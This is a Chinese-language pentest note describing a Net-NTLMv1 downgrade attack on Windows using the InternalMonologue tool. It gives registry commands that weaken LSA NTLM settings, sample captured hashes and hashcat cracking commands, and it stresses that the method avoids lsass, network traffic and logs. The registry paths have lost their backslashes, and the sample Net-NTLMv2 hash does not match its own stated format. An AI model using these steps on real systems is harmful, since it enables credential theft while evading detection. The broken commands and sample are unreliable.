更新2020_01_17
Net-NTLMv1的加密方法:
1、客户端向服务器发送一个请求
2、服务器接收到请求后,生成一个8位的Challenge,发送回客户端
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器
4、服务器校验response
简单的描述: Net-NTLMv1 就是上面加密方法步骤中的 登陆用户的密码加密成Hash再跟Challenge(挑战码)加密后在内存中保留的值。
详细的过程可以参考: https://www.cnblogs.com/zpchcbd/p/11738923.html
Net-NTLMv1的利用思路:
由于Net-NTLMv1的脆弱性,在控制Challenge后可以在短时间内通过彩虹表还原出用户的ntlm hash,所以在利用上首选的是将Win7环境下的默认Net-NTLMv2降级到Net-NTLMv1,获取本机的通信数据,还原出ntlm hash。
实现工具: InternalMonologue
下载地址: https://github.com/eladshamir/Internal-Monologue
注意点:自Windows Vista/Server2008开始起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限。
修改注册表需要管理员权限:
修改注册表开启Net-NTLMv1:
reg add HKLMSYSTEMCurrentControlSetControlLsa /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
为确保Net-NTLMv1开启成功,还需要修改两处注册表键值:
reg add HKLMSYSTEMCurrentControlSetControlLsaMSV1_0 /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLMSYSTEMCurrentControlSetControlLsaMSV1_0 /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
Net-NTLMv1的格式为:username::hostname:LM response:NTLM response:challenge
Administrator::adexx-PC:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:1122334455667788
使用hashcat进行字典破解,参数如下:
hashcat -m 5500 hash.txt password.txt
优点:
1、这种方式不会对lsass.exe进程进行操作
2、同本地NTLM SSP进行交互,不会产生流量
3、没有进行NTLM认证,不会产生日志
补充:
Net-NTLMv2的格式username::domain:challenge:HMAC-MD5:blob
如果以普通用户权限执行InternalMonologue,同样能够获得当前用户的Net-NTLMv2数据包(注意是的Net-NTLMv2的数据包,不是Net-NTLMv1,因为没有权限去进行降级到Net-NTLMv1),通过hashcat进行破解,也能获得当前用户的明文口令
如上图,获得Net-NTLMv2的数据包如下:
yuyonghu01::PENTEST:1122334455667788:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad
使用hashcat进行字典破解,参数如下:
hashcat -m 5600 hash.txt password.txt
总结:
自Windows Vista起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限
而对于Net-NTLMv2协议,即使抓到了通信数据包,只能对其进行字典攻击或是暴力破解,破解的概率不是很高
综上,自Windows Vista起,系统默认使用的Net-NTLMv2协议在安全性上能够保证